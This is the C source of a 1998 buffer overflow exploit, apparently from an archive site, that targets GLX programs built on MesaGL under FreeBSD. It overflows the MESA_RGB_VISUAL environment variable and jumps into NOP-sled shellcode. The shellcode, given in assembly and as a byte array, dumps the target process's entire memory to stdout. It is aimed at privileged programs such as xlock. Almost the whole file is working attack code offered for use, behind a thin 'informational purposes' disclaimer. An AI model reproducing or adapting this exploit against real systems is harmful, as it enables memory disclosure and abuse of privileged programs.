/* * Standard buffer overflow exploit. Executes the machine code in "shell" * when given almost any FreeBSD executable using MesaGL's GLX as its * argument. * * Tested with MesaGL 2.6, FreeBSD 2.2.5 and alot of GLX programs. * * Example: ./a.out /usr/local/bin/xlock * * THIS PROGRAM IS PROVIDED FOR INFORMATIONAL PURPOSES ONLY. * ALSO, I DO NOT GARANTEE THIS PROGRAM TO WORK, OR NOT TO FRY * YOUR COMPUTER. * * By bs , 1998 */ #include #include #include #include /* The number of bytes after which we hit the return address */ #define OLEN (104) /* * Gas asm for "shell". Doesn't execve (would be useless), but dumps the * entire address space of the process to stdout, page by page. * Write will not send us a SIGSEGV but set errno to "Bad address", * which we don't care about. We could probably be more picky about what * range to dump, but that would make it less generic, and my P166 does * this on xlockmore in 45 seconds. * * BUGS: * Makes stack grow * Self modifying * ";" is not a gas comment, but what is? * My asm experience equals zero * * By bs , 1998 .data ; self modifying code :-( .align 1 .globl _main _main: jmp instr prepare: popl %ebx ; syscall's address xorl %eax,%eax movb %al,0x1(%ebx) ; change strcpy friendly movb %al,0x2(%ebx) ; 0xf to correct 0x0 movb %al,0x3(%ebx) movb %al,0x4(%ebx) movb %al,0x6(%ebx) xorl %ecx,%ecx ; our data pointer xorl %edx,%edx movw $0x0fff,%edx incl %edx ; step size 4096 (pagesize) jmp again ; go to work instr: call prepare syscall: .byte 0x9a,0xf,0xf,0xf,0xf,0x7,0xf ret again: xorl %eax,%eax incl %eax pushl %edx ; len (pagesize) pushl %ecx ; pointer pushl %eax ; 1 (stdout) addb $0x3,%eax ; 1+3 (0x4 = write) call syscall addb $0xc,%esp addl %edx,%ecx jz exit ; ecx wraped -> exit jmp again exit: xorl %eax,%eax pushl %eax ; 0 (exit status) incl %eax ; 1 (0x1 = exit) call syscall .byte 0x0 ; strcpy&co stops here * * */ unsigned char shell[] = { 0xeb, 0x1d, 0x5b, 0x31, 0xc0, 0x88, 0x43, 0x1, 0x88, 0x43, 0x2, 0x88, 0x43, 0x3, 0x88, 0x43, 0x4, 0x88, 0x43, 0x6, 0x31, 0xc9, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x42, 0xeb, 0xd, 0xe8, 0xde, 0xff, 0xff, 0xff, 0x9a, 0xf, 0xf, 0xf, 0xf, 0x7, 0xf, 0xc3, 0x31, 0xc0, 0x40, 0x52, 0x51, 0x50, 0x83, 0xc0, 0x3, 0xe8, 0xea, 0xff, 0xff, 0xff, 0x83, 0xc4, 0xc, 0x1, 0xd1, 0x74, 0x2, 0xeb, 0xe9, 0x31, 0xc0, 0x50, 0x40, 0xe8, 0xd8, 0xff, 0xff, 0xff, 0x0 }; /* Stolen from somebody. Is this better than a constant? Why? */ char *get_esp(void) { asm("movl %esp,%eax"); } int main(int argc, char **argv) { char *nargv[10]; char mesa_rgb_visual[512]; char nopandshell[8096]; nargv[0] = (argc > 1 ? argv[1] : "./a.out"); nargv[1] = NULL; memset(mesa_rgb_visual, 'a', sizeof(mesa_rgb_visual)); *((void **)&mesa_rgb_visual[OLEN]) = (void *)(get_esp() + 4096); strcpy(&mesa_rgb_visual[OLEN+4], " 16"); setenv("MESA_RGB_VISUAL", mesa_rgb_visual, 1); memset(nopandshell, 0x90, sizeof(nopandshell)); memcpy(nopandshell+sizeof(nopandshell)-sizeof(shell), shell, sizeof(shell)); setenv("SHELLCODE", nopandshell, 1); execv(nargv[0], nargv); err(1, "execve"); } /* www.hack.co.za [2000]*/